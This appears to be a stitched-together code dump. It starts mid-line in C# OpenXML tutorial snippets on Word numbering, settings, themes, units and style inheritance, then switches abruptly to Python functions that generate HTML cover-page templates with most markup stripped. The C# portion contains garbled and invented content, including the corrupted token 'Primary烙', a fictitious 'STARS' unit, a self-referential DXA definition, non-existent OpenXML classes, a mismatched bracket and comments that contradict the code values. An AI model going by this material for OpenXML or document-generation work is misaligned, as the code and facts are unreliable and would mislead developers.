LevelJustificationValues.Left }, + new PreviousParagraphProperties( + new Indentation { Left = "1440", Hanging = "360" }) + ) + { LevelIndex = 1 }); + + // Level 2: Circle + abstractNum.Append(new Level( + new StartNumberingValue { Val = 1 }, + new NumberingFormat { Val = NumberFormatValues.Bullet }, + new LevelText { Val = "◦" }, + new LevelJustification { Val = LevelJustificationValues.Left }, + new PreviousParagraphProperties( + new Indentation { Left = "2160", Hanging = "360" }) + ) + { LevelIndex = 2 }); + + numbering.Append(abstractNum); + + // NumberingInstance links to AbstractNum and assigns a numId + numbering.Append(new NumberingInstance( + new AbstractNumId { Val = 1 } + ) + { NumberID = 1 }); + + numberingPart.Numbering = numbering; + numberingPart.Numbering.Save(); +} + +// --- SETTINGS PART --- +// Contains document-level settings: zoom, proof state, default tab stop, etc. +private static void AddSettingsPart(MainDocumentPart mainPart) +{ + var settingsPart = mainPart.AddNewPart(); + var settings = new Settings(); + + // Zoom: document zoom percentage (default 100%) + // Val is a percentage value (e.g., "100" = 100%) + settings.Append(new Zoom { Val = "100", Percent = true, SnapToGrid = true }); + + // ProofState: spelling/grammar check state + // Val combines bits: 1=grammar, 2=spelling, 3=both + settings.Append(new ProofState { Val = ProofingStateValues.Clean }); + + // Default tab stop interval in DXA + // Word inserts tab stops every 720 DXA (0.5 inch) by default + settings.Append(new DefaultTabStop { Val = 720 }); + + // Character spacing control: automatically adjust character spacing + // to maintain consistent line spacing (similar to InDesign) + settings.Append(new CharacterSpacingControl { Val = CharacterSpacingValues.CompressPunctuation }); + + // Compatibility settings: controls how Word handles certain formatting + // to ensure compatibility with different Word versions + settings.Append(new Compatibility( + new UseFELayout(), // Use formatted East Asian layout + new UseAsianDigraphicLineBreakRules(), // CJK line breaking rules + new AllowSpaceOfSameStyleInTable(), // Table cell spacing + new DoNotUseIndentAsPercentageForTabStops(), // Legacy tab behavior + new ProportionalOtherIndents(), // Proportional indents + new LayoutTableRawTextInTable() // Raw text in layout tables + )); + + // Revision tracking view settings + settings.Append(new RevisionView { DocPart = false, Formatting = true, Ink = true, Markup = true }); + + settingsPart.Settings = settings; + settingsPart.Settings.Save(); +} + +// --- THEME PART --- +// Defines color scheme, font scheme, and format scheme for the document theme +private static void AddThemePart(MainDocumentPart mainPart) +{ + var themePart = mainPart.AddNewPart(); + var theme = new Theme( + new ThemeElements( + // Color scheme: 10 predefined theme colors + new ColorScheme( + new Dark1Color(new Color { Val = "000000" }), + new Light1Color(new Color { Val = "FFFFFF" }), + new Dark2Color(new Color { Val = "1F497D" }), + new Light2Color(new Color { Val = "EEECE1" }), + new Accent1Color(new Color { Val = "4F81BD" }), + new Accent2Color(new Color { Val = "C0504D" }), + new Accent3Color(new Color { Val = "9BBB59" }), + new Accent4Color(new Color { Val = "8064A2" }), + new Accent5Color(new Color { Val = "4BACC6" }), + new Accent6Color(new Color { Val = "F79646" }), + new Hyperlink(new Color { Val = "0000FF" }), + new FollowedHyperlinkColor(new Color { Val = "800080" }) + ), + // Font scheme: major (headings) and minor (body) fonts + new FontScheme( + new MajorFont { Val = "Calibri Light" }, + new MinorFont { Val = "Calibri" } + ), + // Format scheme: default fill and effect styles + new FormatScheme( + new FillStyleList( + new FillStyle { Fill = new PatternFill { PatternType = PatternValues.Solid } } + ), + new LineStyleList( + new LineStyle { Val = LineValues.Single } + ) + ) + ), + new ThemeName { Val = "Office Theme" }, + new ThemeNames( + new LanguageBasedString { Val = "en-US", LanguageId = "x-none" } + ) + ); + + themePart.Theme = theme; + themePart.Theme.Save(); +} + +// --- HEADERS AND FOOTERS --- +private static void AddHeadersAndFooters(MainDocumentPart mainPart) +{ + // Header + var headerPart = mainPart.AddNewPart(); + headerPart.Header = new Header( + new Paragraph( + new ParagraphProperties( + new Justification { Val = JustificationValues.Right }), + new Run( + new RunProperties( + new RunFonts { Ascii = "Calibri Light", HighAnsi = "Calibri Light" }, + new Italic(), + new FontSize { Val = "20" } // 10pt + ), + new Text("Document Header")) + )); + var headerId = mainPart.GetIdOfPart(headerPart); + + // Footer + var footerPart = mainPart.AddNewPart(); + footerPart.Footer = new Footer( + new Paragraph( + new ParagraphProperties( + new Justification { Val = JustificationValues.Center }), + new Run(new Text("Page ") { Space = SpaceProcessingModeValues.Preserve }), + new Run(new FieldChar { FieldCharType = FieldCharValues.Begin }), + new Run(new FieldCode(" PAGE ") { Space = SpaceProcessingModeValues.Preserve }), + new Run(new FieldChar { FieldCharType = FieldCharValues.End }), + new Run(new Text(" of ") { Space = SpaceProcessingModeValues.Preserve }), + new Run(new FieldChar { FieldCharType = FieldCharValues.Begin }), + new Run(new FieldCode(" NUMPAGES ") { Space = SpaceProcessingModeValues.Preserve }), + new Run(new FieldChar { FieldCharType = FieldCharValues.End }) + )); + var footerId = mainPart.GetIdOfPart(footerPart); + + // Reference IDs in section properties + // (added in CreateSectionProperties below) +} + +// --- SECTION PROPERTIES (COMPLETE) --- +private static SectionProperties CreateSectionProperties() +{ + var sectPr = new SectionProperties(); + + // Header/Footer references (must come before page size/margins) + var mainPart = doc.MainDocumentPart; // Note: in real code, pass as parameter + sectPr.Append(new HeaderReference + { + Type = HeaderFooterValues.Default, + Id = mainPart!.GetIdOfPart(mainPart.HeaderParts.First()) + }); + sectPr.Append(new FooterReference + { + Type = HeaderFooterValues.Default, + Id = mainPart.GetIdOfPart(mainPart.FooterParts.First()) + }); + + // Page size + sectPr.Append(new PageSize { Width = 12240u, Height = 15840u }); + + // Page margins + sectPr.Append(new PageMargin + { + Top = 1440, + Bottom = 1440, + Left = 1440u, + Right = 1440u, + Header = 720u, + Footer = 720u + }); + + // Page numbering format + sectPr.Append(new PageNumberType { Start = 1, Format = NumberFormatValues.Decimal }); + + // Column settings (default: 1 column) + sectPr.Append(new Columns { ColumnCount = 1, EqualWidth = true }); + + // Paper source (printer tray) + // sectPr.Append(new PaperSource { Tray = 1, Paper = 7 }); + + return sectPr; +} +``` + +### 1.5 Unit Systems Reference + +```csharp +// ============================================================================= +// UNIT SYSTEMS IN OPENXML +// ============================================================================= +// Understanding units is critical. Wrong unit = wrong formatting. +// +// DXA (Twentieths of a DXA) - "Standard Document Unit" +// 1 DXA = 1/20th of a point +// 1 inch = 1440 DXA +// 1 cm = 567 DXA (approx) +// Used for: margins, indents, spacing, tab stops, column widths +// +// Half-Points (sz) - Font Size +// Value is in half-points (1/2 point increments) +// 24 = 12pt, 28 = 14pt, 36 = 18pt, 48 = 24pt +// Used for: FontSize.Val, FontSizeComplexScript.Val +// +// Points (pt) - Direct Measurements +// Standard typographic point (72 per inch) +// Used for: some line spacing values, border widths +// +// EMU (English Metric Units) - Drawing Objects +// 1 inch = 914400 EMU +// Used for: drawing object sizes, shapes, images +// +// STARS (Special Twips Advanced Right-Left) - CJK Indentation +// Used for: FirstLineChars, HangingChars (special FirstLine/Hanging for CJK) +// Converts character counts to DXA based on font metrics +// +// LINE SPACING SPECIAL VALUES: +// Line = "240" with LineRule = Auto = single spacing (default) +// Line = "480" with LineRule = Auto = double spacing +// Line = "360" with LineRule = Auto = 1.5 spacing +// Line = "240" with LineRule = Exact = exactly 12pt +// Line = "288" with LineRule = AtLeast = at least 14.4pt (grows with content) + +// --- CONVERSION HELPER METHODS --- +public static class OpenXmlUnits +{ + // DXA conversions + public static int InchesToDxa(double inches) => (int)(inches * 1440); + public static int CmToDxa(double cm) => (int)(cm * 567.0); + public static int PtToDxa(double pt) => (int)(pt * 20); + public static double DxaToInches(int dxa) => dxa / 1440.0; + public static double DxaToCm(int dxa) => dxa / 567.0; + public static double DxaToPt(int dxa) => dxa / 20.0; + + // EMU conversions (for drawings) + public static long InchesToEmu(double inches) => (long)(inches * 914400); + public static long CmToEmu(double cm) => (long)(cm * 360000); + public static double EmuToInches(long emu) => emu / 914400.0; + + // Half-point conversions (font sizes) + public static int PtToHalfPt(double pt) => (int)(pt * 2); + public static int FontSizeToSz(double ptSize) => (int)(ptSize * 2); + public static double SzToPt(int sz) => sz / 2.0; + + // Line spacing + public static int SingleSpacing => 240; + public static int DoubleSpacing => 480; + public static int OneAndHalfSpacing => 360; + public static int LineSpacingPt(double pt) => (int)(pt * 20); // Convert to DXA +} + +// Example usage: +var marginInInches = OpenXmlUnits.DxaToInches(1440); // 1.0 +var fontSizeInSz = OpenXmlUnits.FontSizeToSz(12.0); // 24 +var indentInDxa = OpenXmlUnits.InchesToDxa(0.5); // 720 +``` + +--- + +## 2. Style System Deep Dive + +### 2.1 Style Types and Structure + +```csharp +// ============================================================================= +// STYLE TYPES OVERVIEW +// ============================================================================= +// OpenXML defines 4 style types (StyleValues enum): +// 1. Paragraph (w:p) - controls paragraph-level formatting +// 2. Character (w:r) - controls inline/run-level formatting +// 3. Table (w:tbl) - controls table-level formatting +// 4. Numbering (w:num) - NOT a style type, but a separate numbering system +// +// Key insight: A style can be BOTH paragraph and character style (linked style). +// The "linkedStyle" element links a paragraph style to a character style. + +// --- MINIMAL PARAGRAPH STYLE --- +// A paragraph style controls: pPr (paragraph properties) and optionally rPr +Style minimalParaStyle = new Style( + new StyleName { Val = "MyParagraphStyle" }, + new PrimaryStyle() // Primary styles appear in Style gallery +) +{ + Type = StyleValues.Paragraph, + StyleId = "MyParagraphStyle" +}; + +// --- MINIMAL CHARACTER STYLE --- +// A character style controls: rPr only (no pPr) +Style minimalCharStyle = new Style( + new StyleName { Val = "MyCharacterStyle" }, + new PrimaryStyle() +) +{ + Type = StyleValues.Character, + StyleId = "MyCharacterStyle" +}; + +// Character style with run properties (fonts, size, bold, etc.) +Style charStyleWithFormatting = new Style( + new StyleName { Val = "Emphasis" }, + new PrimaryStyle(), + new StyleRunProperties( + new Italic(), + new Color { Val = "C00000" } // Dark red + ) +) +{ + Type = StyleValues.Character, + StyleId = "Emphasis" +}; + +// --- LINKED STYLE (Paragraph + Character) --- +// A linked style combines both: it can be applied to a paragraph OR a run. +// This is how Word's "Heading 1" works — applies to paragraphs, but you can +// also select text within a heading and apply the same style as character formatting. +Style linkedStyle = new Style( + new StyleName { Val = "LinkedStyle" }, + new PrimaryStyle(), + new LinkedStyle { Val = "LinkedStyleChar" }, // Links to character style + new StyleParagraphProperties( + new SpacingBetweenLines { After = "120" } + ), + new StyleRunProperties( + new Bold(), + new FontSize { Val = "24" } + ) +) +{ + Type = StyleValues.Paragraph, + StyleId = "LinkedStyle" +}; + +// Corresponding character style (normally same name + "Char" suffix by convention) +Style linkedStyleChar = new Style( + new StyleName { Val = "LinkedStyle Char" }, // Word convention: adds " Char" + new PrimaryStyle(), + new StyleRunProperties( + new Bold(), + new FontSize { Val = "24" } + ) +) +{ + Type = StyleValues.Character, + StyleId = "LinkedStyleChar" +}; + +// --- TABLE STYLE --- +Style tableStyle = new Style( + new StyleName { Val = "MyTableStyle" }, + new PrimaryStyle(), + new StyleTableProperties( + new TableWidth { Width = "5000", Type = TableWidthUnitValues.Pct }, // 50% width + new TableBorders( + new TopBorder { Val = BorderValues.Single, Size = 4, Color = "000000" }, + new BottomBorder { Val = BorderValues.Single, Size = 4, Color = "000000" }, + new LeftBorder { Val = BorderValues.Single, Size = 4, Color = "000000" }, + new RightBorder { Val = BorderValues.Single, Size = 4, Color = "000000" }, + new InsideHorizontalBorder { Val = BorderValues.Single, Size = 2, Color = "CCCCCC" }, + new InsideVerticalBorder { Val = BorderValues.Single, Size = 2, Color = "CCCCCC" } + ), + new TableCellMarginDefault( + new TopMargin { Width = "0", Type = TableWidthUnitValues.DXA }, + new StartMargin { Width = "108", Type = TableWidthUnitValues.DXA }, + new BottomMargin { Width = "0", Type = TableWidthUnitValues.DXA }, + new EndMargin { Width = "108", Type = TableWidthUnitValues.DXA } + ) + ) +) +{ + Type = StyleValues.Table, + StyleId = "MyTableStyle" +}; +``` + +### 2.2 DocDefaults and Document-Wide Defaults + +```csharp +// ============================================================================= +// DOCDEFAULTS: DOCUMENT-WIDE DEFAULTS +// ============================================================================= +// DocDefaults lives inside Styles and provides fallback values when: +// 1. No explicit style is applied +// 2. No direct formatting is applied +// It contains RunPropertiesDefault and/or ParagraphPropertiesDefault. +// +// CRITICAL: DocDefaults applies to the entire document. Any explicit style +// or direct formatting will override it. + +// --- COMPLETE DOCDEFAULTS SETUP --- +var docDefaults = new DocDefaults( + // Run properties defaults: default font, size, language for all runs + new RunPropertiesDefault( + new RunPropertiesBaseStyle( + // RunFonts: which font to use for each script + // Word will fall back through these: ASCII -> HighAnsi -> EastAsia -> ComplexScript + // Always specify at minimum Ascii and HighAnsi + new RunFonts + { + Ascii = "Calibri", // Western/Latin font (primary) + HighAnsi = "Calibri", // Latin characters (often same as Ascii) + EastAsia = "SimSun", // East Asian font (CJK) + ComplexScript = "Arial", // Complex scripts (Arabic, Hebrew, Thai) + ASCIITheme = ThemeFontValues.Minor, + HighAnsiTheme = ThemeFontValues.Minor, + EastAsiaTheme = ThemeFontValues.Minor, + ComplexScriptTheme = ThemeFontValues.Minor + }, + // FontSize: in HALF-POINTS (24 = 12pt, 22 = 11pt, 20 = 10pt) + new FontSize { Val = "22" }, // 11pt for body + new FontSizeComplexScript { Val = "22" }, + // Languages: required for proper hyphenation and spell checking + new Languages { Val = "en-US" }, // Default language + new Languages { EastAsia = "zh-CN", Val = "en-US" } // Can set multiple + ) + ), + // Paragraph properties defaults: default spacing, etc. + new ParagraphPropertiesDefault( + new ParagraphPropertiesBaseStyle( + // SpacingBetweenLines: default paragraph spacing + // After = "200" = 200 DXA = 10pt after each paragraph + new SpacingBetweenLines + { + After = "200", + Line = "276", + LineRule = LineSpacingRuleValues.Auto // Auto = 1.15x line height + } + ) + ) +); + +// --- LAYOUT LUNCTIONS (LATENT STYLES) --- +// Latent styles are hidden styles that exist in Word but aren't in styles.xml. +// They provide fast-access defaults for formatting (e.g., Normal, Heading 1-6, etc.) +// when the user hasn't explicitly customized them. +// +// DocDefaults can define LatentStyleCountOverride to adjust count, +// but true latent styles are controlled by Normal.dotm (Word's global template). +Styles CreateStylesWithDocDefaults() +{ + var styles = new Styles(); + + // DocDefaults with run and paragraph properties defaults + styles.Append(new DocDefaults( + new RunPropertiesDefault( + new RunPropertiesBaseStyle( + new RunFonts { Ascii = "Calibri", HighAnsi = "Calibri" }, + new FontSize { Val = "22" }, + new Languages { Val = "en-US" } + ) + ), + new ParagraphPropertiesDefault( + new ParagraphPropertiesBaseStyle( + new SpacingBetweenLines { After = "160", Line = "276", LineRule = LineSpacingRuleValues.Auto } + ) + ) + )); + + // LatentStyles: override defaults for built-in latent styles + // These control Word's "fast-styles" like Heading 1-6 before they're customized + styles.Append(new LatentStyles( + new Count { Val = 159 }, // Total latent style count + new FirstLineChars { Val = 352 }, // Default first line char count + new HorizontalOverflow { Val = HorizontalOverflowValues.Overflow }, + new VerticalOverflow { Val = VerticalOverflowValues.Overflow }, + new KoreanSpaceAdjust { Val = true }, + // Each LatentStyleException overrides ONE attribute of ONE latent style + // StyleID = the built-in style name (e.g., "Normal", "heading 1") + // Attribute: what to change (bold, italic, font, color, etc.) + // The defaults for built-in headings: font=Calibri, size=24, bold + new LatentStyleException( + new Primary烙, + new StyleName { Val = "Normal" }, + new UIPriority { Val = 1 }, + new PrimaryZone(), + new QuickStyle() + ), + new LatentStyleException( + new Primary烙, + new StyleName { Val = "heading 1" }, + new UIPriority { Val = 9 }, + new PrimaryZone(), + new QuickStyle(), + new Bold(), + new BoldComplexScript(), + new FontSize { Val = "48" }, // 24pt = 48 half-pts + new FontSizeComplexScript { Val = "48" } + ) + )); + + return styles; +} +``` + +### 2.3 Complete Heading Styles Hierarchy + +```csharp +// ============================================================================= +// HEADING STYLES WITH PROPER INHERITANCE CHAIN +// ============================================================================= +// Word's built-in heading system uses style inheritance: +// Normal (base) -> Heading1 -> Heading2 -> Heading3 -> Heading4 -> Heading5 -> Heading6 +// +// Why this matters: +// - Each heading INHERITS from its parent (basedOn) +// - Define common properties in Normal, override in each heading +// - Change body font once in Normal, all headings inherit it +// - Heading-specific properties override as needed + +// --- HEADING STYLE FACTORY --- +public static Style CreateHeadingStyle(int level, FontConfig fonts) +{ + // Validate level (1-9 are valid, 1-6 are standard) + if (level < 1 || level > 9) + throw new ArgumentOutOfRangeException(nameof(level)); + + double[] headingSizes = [26.0, 20.0, 16.0, 14.0, 12.0, 11.0, 11.0, 11.0, 11.0]; + string[] outlineLevels = ["0", "1", "2", "3", "4", "5", "6", "7", "8"}; + + var style = new Style( + new StyleName { Val = $"heading {level}" }, // Display name + new BasedOn { Val = level == 1 ? "Normal" : $"Heading{level - 1}" }, // Parent style + new NextParagraphStyle { Val = "Normal" }, // After heading -> Normal + new PrimaryStyle(), // Show in Styles gallery + new UIPriority { Val = 9 - level }, // Priority in gallery (H1 = 8, H2 = 7, etc.) + new QuickStyle(), // Appears in Quick Styles gallery + // Paragraph properties: spacing, keep options, outline level + new StyleParagraphProperties( + new KeepNext(), // Keep heading with next paragraph + new KeepLines(), // Keep all lines of heading together + new SpacingBetweenLines // Spacing before/after + { + Before = level == 1 ? "480" : "240", // H1 = 240pt before, others = 120pt + After = "120" + }, + new OutlineLevel { Val = level - 1 } // 0-indexed for H1=0, H2=1, etc. + ), + // Run properties: font, size, bold + new StyleRunProperties( + new RunFonts + { + Ascii = fonts.HeadingFont, + HighAnsi = fonts.HeadingFont, + EastAsia = "SimHei" // Bold heading font for CJK + }, + new FontSize { Val = UnitConverter.FontSizeToSz(headingSizes[level - 1]) }, + new FontSizeComplexScript { Val = UnitConverter.FontSizeToSz(headingSizes[level - 1]) }, + new Bold(), + new BoldComplexScript() + ) + ) + { + Type = StyleValues.Paragraph, + StyleId = $"Heading{level}" + }; + + return style; +} + +// --- ADD ALL HEADING STYLES TO STYLES COLLECTION --- +public static void AddHeadingStyles(Styles styles, FontConfig fonts) +{ + for (int i = 1; i <= 6; i++) + { + styles.Append(CreateHeadingStyle(i, fonts)); + } + + // Also add Heading 7-9 (valid in Word, less commonly used) + for (int i = 7; i <= 9; i++) + { + styles.Append(CreateHeadingStyle(i, fonts)); + } +} + +// --- HEADING STYLES INHERITANCE VISUALIZATION --- +// When you apply "Heading2" (basedOn="Heading1"): +// +// Normal style: +// - Font: Calibri 11pt +// - Spacing: 0 before, 200 after +// - No bold +// +// Heading1 (basedOn="Normal"): +// - Inherits: Calibri 11pt +// - Overrides: Calibri Light 26pt, Bold, Spacing 480 before/120 after +// - Adds: KeepNext, KeepLines, OutlineLevel=0 +// +// Heading2 (basedOn="Heading1"): +// - Inherits: Calibri Light 26pt, Bold, KeepNext, KeepLines +// - Overrides: 20pt +// - Inherits: OutlineLevel=1 +// +// Effective result: Heading2 = Calibri Light 20pt Bold, KeepNext+KeepLines, 480/120 spacing, OL=1 +``` + +### 2.4 Style Inheritance Chain Resolution + +```csharp +// ============================================================================= +// STYLE INHERITANCE RESOLUTION +// ============================================================================= +// OpenXML styles resolve properties through the basedOn chain at RENDER TIME. +// The document.xml stores only the styleId, not the resolved properties. +// Word (or this library) walks the chain at load/display time. +// +// Example: Applying "Heading2" to a paragraph +// +// 1. Start with Heading2 style definition +// 2. Walk basedOn chain: Heading2 -> Heading1 -> Normal -> (null) +// 3. Collect properties in reverse order (most generic first): +// a. Normal: Ascii=Calibri, sz=22, no bold +// b. Heading1: Ascii=Calibri Light, sz=48, bold (override Calibri, sz, bold) +// c. Heading2: sz=40 (override sz only) +// 4. Final resolved style: Ascii=Calibri Light, sz=40, bold (bold from H1) +// +// IMPORTANT: Style override is COMPLETE for each element type: +// - If Normal has rPr with Fonts, and Heading1 has pPr only, +// Heading1 still inherits Normal's rPr fully. +// - StyleRunProperties (rPr) and StyleParagraphProperties (pPr) are separate. + +// --- RESOLVING STYLE PROPERTIES MANUALLY --- +// For debugging or custom rendering, you may need to resolve style chains +public static class StyleResolver +{ + public record ResolvedStyle( + StyleName? Name, + RunProperties? RunProps, + ParagraphProperties? ParaProps, + string? BasedOn, + string Type); + + public static ResolvedStyle Resolve(Styles styles, string styleId) + { + var styleMap = styles.Elements + + +
+ +
+ +
+ + {dot_grid} + +
+
{t.get('doc_type','Document').upper()}  ·  {t.get('date','')}
+
{t['title']}
+
+ {subtitle_block} +
+ + +
+""" + + +# ── Pattern 2: Split panel ───────────────────────────────────────────────────── +def _pattern_split(t: dict) -> str: + dot_grid = _dot_grid( + x0=360, y0=120, cols=10, rows=18, gap=22, r=2, + color="#CCCCCC", opacity=0.25 + ) + return f""" + + + + + +
+
+
+
{t['title']}
+
+ {'
' + t['subtitle'] + '
' if t.get('subtitle') else ''} +
{t.get('author','')}
+
{t.get('date','')}
+
+
+ {dot_grid} +
+
+
{t.get('doc_type','').upper()}
+
+""" + + +# ── Pattern 3: Typographic ───────────────────────────────────────────────────── +def _pattern_typographic(t: dict) -> str: + words = t['title'].split() + first = words[0] if words else "" + rest = " ".join(words[1:]) if len(words) > 1 else "" + return f""" + + + + + +
+
+
{first}
+ {'
' + rest + '
' if rest else ''} +
+
+
{t.get('author','')}
+
{t.get('date','')}
+
+ {'
' + t['subtitle'] + '
' if t.get('subtitle') else ''} +
+
+""" + + +# ── Pattern 4: Dark atmospheric ──────────────────────────────────────────────── +def _pattern_atmospheric(t: dict) -> str: + dot_grid = _dot_grid( + x0=60, y0=60, cols=16, rows=22, gap=20, r=1.5, + color=t["accent"], opacity=0.08 + ) + return f""" + + + + + +
+
+
+ {dot_grid} +
+
+
{t.get('doc_type','').upper()}  ·  {t.get('date','')}
+
{t['title']}
+
+ {'
' + t['subtitle'] + '
' if t.get('subtitle') else ''} +
+ +
+""" + + +# ── Pattern 5: Minimal — thick left bar, generous whitespace ─────────────────── +def _pattern_minimal(t: dict) -> str: + """ + Ultra-restrained: white background, 8px left accent bar, oversized light-weight + title, nothing else but a hairline rule and minimal metadata. The bar is the only + color on the page — everything else is black on white. + """ + # Pick text color for page (minimal uses page_bg which is near-white) + text_dark = t.get("dark", "#111111") + muted = t.get("muted", "#999999") + accent = t["accent"] + + subtitle_block = "" + if t.get("subtitle"): + subtitle_block = f'
{t["subtitle"]}
' + + return f""" + + + + + +
+
+
+
{t.get('doc_type','').upper()}
+
{t['title']}
+
+ {subtitle_block} +
{t.get('author','')}{(' · ' + t.get('date','')) if t.get('date') else ''}
+
+
+""" + + +# ── Pattern 6: Stripe — bold horizontal bands ────────────────────────────────── +def _pattern_stripe(t: dict) -> str: + """ + Page divided into three bold horizontal bands: + - Top band (accent, ~18%): document type label + - Middle band (dark, ~52%): large title in white + - Bottom band (page bg, ~30%): author / date / subtitle + Hard geometry, no gradients, no textures. Newspaper / brand poster aesthetic. + """ + top_h = 200 # accent band + mid_h = 580 # dark band + bot_y = top_h + mid_h # 780 + + accent = t["accent"] + dark = t.get("cover_bg", "#1A1A2E") + light = t.get("page_bg", "#FAFAF8") + text_l = t.get("text_light", "#FFFFFF") + muted = t.get("muted", "#888888") + + subtitle_block = "" + if t.get("subtitle"): + subtitle_block = f'
{t["subtitle"]}
' + + return f""" + + + + + +
+
+
{t.get('doc_type','').upper()}
+
+
+
{t['title']}
+
+
+
+
{t.get('author','')}
+
{t.get('date','')}
+ {subtitle_block} +
+
+""" + + +# ── Pattern 7: Diagonal — angled color split ─────────────────────────────────── +def _pattern_diagonal(t: dict) -> str: + """ + SVG polygon cuts the page diagonally: upper-left in dark cover color, + lower-right in light page bg. Title sits on the dark area, metadata on light. + One angled edge — no gradients, no curves. + """ + dark_bg = t.get("cover_bg", "#1B2A4A") + light_bg = t.get("page_bg", "#FAFCFF") + accent = t["accent"] + text_l = t.get("text_light", "#F8FAFF") + text_d = t.get("dark", "#0F1A2E") + muted = t.get("muted", "#7A8A99") + + # Polygon: full upper-left to ~60% down on right side + # Points: top-left, top-right, (794, 620), (0, 820) + poly = "0,0 794,0 794,620 0,820" + + subtitle_block = "" + if t.get("subtitle"): + subtitle_block = f'
{t["subtitle"]}
' + + return f""" + + + + + +
+ + + + + + + +
+
{t.get('doc_type','').upper()}  ·  {t.get('date','')}
+
{t['title']}
+
+
+ +
+
{t.get('author','')}
+ {subtitle_block} +
+
+""" + + +# ── Pattern 8: Frame — elegant inset border ──────────────────────────────────── +def _pattern_frame(t: dict) -> str: + """ + Classic formal layout: outer thin border line inset ~28px from page edges, + inner accent strip at top and bottom inside the frame. + Title centered in the frame space, classical serif typography. + Used for: academic papers, formal reports, legal docs, annual reports. + """ + bg = t.get("cover_bg", "#FAF8F3") + accent = t["accent"] + dark = t.get("dark", "#2A1A0A") + muted = t.get("muted", "#9A8A78") + + pad = 28 # frame inset from page edge + inner_w = 794 - 2 * pad + inner_h = 1123 - 2 * pad + + subtitle_block = "" + if t.get("subtitle"): + subtitle_block = f'
{t["subtitle"]}
' + + return f""" + + + + + +
+
+
+
+
+
+
+
+ +
+
{t.get('doc_type','').upper()}
+
+
{t['title']}
+
+ {subtitle_block} +
{t.get('author','')}{(' · ' + t.get('date','')) if t.get('date') else ''}
+
+
+""" + + +# ── Pattern 9: Editorial — oversized ghost letter + bold type ────────────────── +def _pattern_editorial(t: dict) -> str: + """ + Magazine / editorial feel: + - Oversized first-letter of title as a ghost background element (8–12% opacity) + - Bold category label at top in accent + - Title in very large condensed weight, flush-left + - Thin full-width rule separating title from metadata + - Author / date bottom-left, page type bottom-right + Designed for editorial reports, annual reviews, magazine-format content. + """ + bg = t.get("cover_bg", "#FFFFFF") + accent = t["accent"] + dark = t.get("dark", "#0A0A0A") + muted = t.get("muted", "#777777") + text_l = t.get("text_light", "#FFFFFF") + + # Ghost letter — first character of title + ghost = t['title'][0].upper() if t['title'] else "A" + + subtitle_block = "" + if t.get("subtitle"): + subtitle_block = f'
{t["subtitle"]}
' + + # Determine if background is dark (use light text) or light (use dark text) + is_dark_bg = ( + bg.startswith("#0") or bg.startswith("#1") or bg.startswith("#2") + ) + title_color = text_l if is_dark_bg else dark # noqa: F841 + body_color = text_l if is_dark_bg else dark + + return f""" + + + + + +
+
{ghost}
+
+
{t.get('doc_type','').upper()}
+ +
+
{t['title']}
+ {subtitle_block} +
+ + + +
+""" + + +# ── Pattern 10: Magazine — elegant centered with optional hero image ──────────── +def _pattern_magazine(t: dict) -> str: + """ + Upscale centered layout: company name + accent rule at top, large serif title, + decorative rule, italic subtitle, optional hero image, abstract block, author. + Used for: annual reports, strategic documents, formal publications. + """ + bg = t.get("cover_bg", "#F2F0EC") + accent = t["accent"] + dark = t.get("dark", "#0D1A2B") + muted = t.get("muted", "#888888") + org = t.get("doc_type", "").upper() + img_url = t.get("cover_image", "") + + subtitle_block = "" + if t.get("subtitle"): + subtitle_block = f'
{t["subtitle"]}
' + + image_block = "" + if img_url: + image_block = f""" +
+ +
""" + + abstract_block = "" + if t.get("abstract"): + abstract_block = f""" +
+ Abstract: + {t['abstract']} +
""" + + return f""" + + + + + +
+
{org}
+
+
{t['title']}
+
+ {subtitle_block} + {image_block} + {abstract_block} + {'
' if (t.get('abstract') or img_url) else '
'} +
{t.get('author','')}
+ +
+""" + + +# ── Pattern 11: Darkroom — dark magazine variant ──────────────────────────────── +def _pattern_darkroom(t: dict) -> str: + """ + Dark-background centered layout. Same structure as magazine but inverted: + deep navy page, white/silver text, accent rules in lighter tone. + Used for: premium reports, tech annual reviews, dark-themed documents. + """ + bg = t.get("cover_bg", "#151C27") + accent = t["accent"] + text_l = t.get("text_light", "#F0EDE6") + muted = t.get("muted", "#8A9AB0") + org = t.get("doc_type", "").upper() + img_url = t.get("cover_image", "") + + subtitle_block = "" + if t.get("subtitle"): + subtitle_block = f'
{t["subtitle"]}
' + + image_block = "" + if img_url: + image_block = f""" +
+ +
""" + + abstract_block = "" + if t.get("abstract"): + abstract_block = f""" +
+ Abstract: + {t['abstract']} +
""" + + return f""" + + + + + +
+
{org}
+
+
{t['title']}
+
+ {subtitle_block} + {image_block} + {abstract_block} + {'
' if (t.get('abstract') or img_url) else '
'} +
{t.get('author','')}
+ +
+""" + + +# ── Pattern 12: Terminal — cyber/hacker aesthetic ─────────────────────────────── +def _pattern_terminal(t: dict) -> str: + """ + Dark terminal/IDE aesthetic: grid overlay, monospace font, neon accent, + corner brackets around the title block, status bar at bottom. + Used for: tech reports, developer docs, security audits, system documentation. + """ + bg = t.get("cover_bg", "#0D1117") + accent = t["accent"] + text_l = t.get("text_light", "#E6EDF3") + muted = t.get("muted", "#48897C") + dark = t.get("dark", "#010409") + org = t.get("doc_type", "DOCUMENT").upper() + date_s = t.get("date", "") + author = t.get("author", "") + + subtitle_line = "" + if t.get("subtitle"): + subtitle_line = f'
> {t["subtitle"]}
' + + abstract_block = "" + if t.get("abstract"): + abstract_block = f""" +
{t['abstract']}
""" + + # grid overlay: horizontal + vertical lines + h_lines = "".join( + f'' + for y in range(0, 1124, 48) + ) + v_lines = "".join( + f'' + for x in range(0, 795, 48) + ) + grid_svg = ( + f'' + + h_lines + v_lines + "" + ) + + return f""" + + + + + +
+ {grid_svg} + +
+
+
SYSTEM_REPORT // {date_s}
+
+ +
+
{t['title']}
+ {subtitle_line} +
+ +
+ {abstract_block} +
+
AUTHOR_ID
+
{author}
+
{org}
+
+
+ +
+
+
Ln 1, Col 1
+
UTF-8
+
GENERATED_BY_COVERGENIUS
+
+
+""" + + +# ── Pattern 13: Poster — bold sidebar + oversized type ───────────────────────── +def _pattern_poster(t: dict) -> str: + """ + Bold minimalist poster: thick vertical sidebar on the left, oversized all-caps + title, typewriter-style metadata. Optional thumbnail on the right side. + Used for: portfolios, creative reports, journalism, photography books. + """ + bg = t.get("cover_bg", "#FFFFFF") + accent = t["accent"] # typically black or strong dark + dark = t.get("dark", "#0A0A0A") + muted = t.get("muted", "#888888") + text_l = t.get("text_light", "#FFFFFF") + img_url = t.get("cover_image", "") + + sidebar_w = 52 + + subtitle_block = "" + if t.get("subtitle"): + subtitle_block = f'
{t["subtitle"]}
